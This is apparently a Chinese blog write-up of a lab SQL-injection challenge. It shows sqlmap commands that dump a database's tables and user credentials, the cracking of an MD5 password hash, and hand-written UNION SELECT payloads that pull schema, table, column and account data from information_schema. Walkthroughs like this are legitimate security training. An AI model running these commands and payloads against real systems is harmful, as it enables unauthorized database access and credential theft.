SQL过滤字符后手工注入漏洞测试(第3题)

SQL过滤字符后手工注入漏洞测试(第3题)

时间:2025-01-05 作者:zhankehua 评论:0 点击:142 次

Image.png启动靶场后,仔细观察,测试登录,无漏洞,测试通知,存在sql注入

Image [1].pngImage [2].pngImage [3].png在这里,偷个懒,先用sqlmap跑一下。

python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 --dbs --batch

暴数据库列表

Image [4].png

很明显,min_ju4t_mel1i是我们要的数据库,继续
暴表
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min
_ju4t_mel1i -tables --batch

Image [5].png

根据题目上的提示,表stormgroup_member看上去是我们需要的。那先暴这个表中的字段吧。
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min_ju4t_mel1i -T stormgroup_member --cloumns --batch

Image [6].png

dump下name和password
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min_ju4t_mel1i -T stormgroup_member --dump --batch

Image [7].png

根据表中的status,为1的用户才可使用,使用mozhe3登录,我去,账号和密码错误,那说明不是这个表。那再试试这个表(@dmin9_td4b}

Image [8].png

这里要注意了,这个表名有点特殊,有特殊字符,这个简单,使用转义技巧来确保SQLMap生成的SQL语句正确执行。暴字段的语句如下:
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min_ju4t_mel1i -T  "`(@dmin9_td4b}`" --columns --batch

Image [9].png

再dump下字段内容
python sqlmap.py -u "http://124.70.64.48:48706/new_list.php?id=1" -p id --level 5 --risk 3 -D min_ju4t_mel1i -T  "`(@dmin9_td4b}`" --dump -C status,username,password --batch

Image [10].png

这里,也是只有mozhe3用户未禁用,将哈希值放到md5中查询。

Image [11].png

再登录系统试试,能够成功登录,并找到key

Image [12].png

mozhe08d33cd3b9c31e075575fd088fa
好了,明天继续手功完成这一操作。
现在是2025年01月05日,早上8:29,现在继续进行手功注入。
首看这个注入点是数字型的还是字符型的。
在注入点分别输入1,1+2,发现没变化,初就判断为字符型注入

Image [13].png再输入字符a,看看是什么结果,从这里来看,应该是字符型的注入了

Image [14].png


那就先进行暴数据库名,在这里,要想暴数据库名,那首先要知道查询结果中会有多少列。通过上图的表看,查询结果中至少有5个字段(除了上面显示的商品名称、商品类型、商品品牌,商品价格4个名,应该还有一个看不到的id。那先测试一下吧。
这里要注意,id=-1是为了这个条件查不出结果,而是要使用后面查询的结果。
发现提示:列名数量不一致。

Image [15].png

那就再增加1个
还是同样的提示
那再增加1列
这时有结果了:

Image [16].png

那我们就在3这个位置暴当前数据库名吧,输入:
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,database(),4,5,6,7;

Image [17].png

当前的数据库名已暴出,如果想暴出所有数据库名怎么做呢?
使用以下语句:
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,(select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),4,5,6,7;

Image [18].png

所有数据库名就出来了。
现在知道了数据库名,那就看看有哪些表吧。
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,(select group_concat(0x7e,table_name,0x7e)  from information_schema.tables where table_schema="min_ju4t_mel1i"),4,5,6,7;

Image [19].png

表已暴出,那现在暴字段了。
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,(select group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_schema="min_ju4t_mel1i" and table_name="(@dmin9_td4b}"),4,5,6,7;

Image [20].png

现在开始暴字段中的内容。
http://124.70.64.48:43657/new_list.php?id=-1' union select 1,2,(select group_concat(status,0x3a,username,0x3a,password) from `(@dmin9_td4b}` ),4,5,6,7;

Image [21].png

手工注入到此结束!!!

已有 142 位网友参与,快来吐槽:

发表评论

必填

选填

选填

◎欢迎参与讨论,发表您的看法、交流您的观点。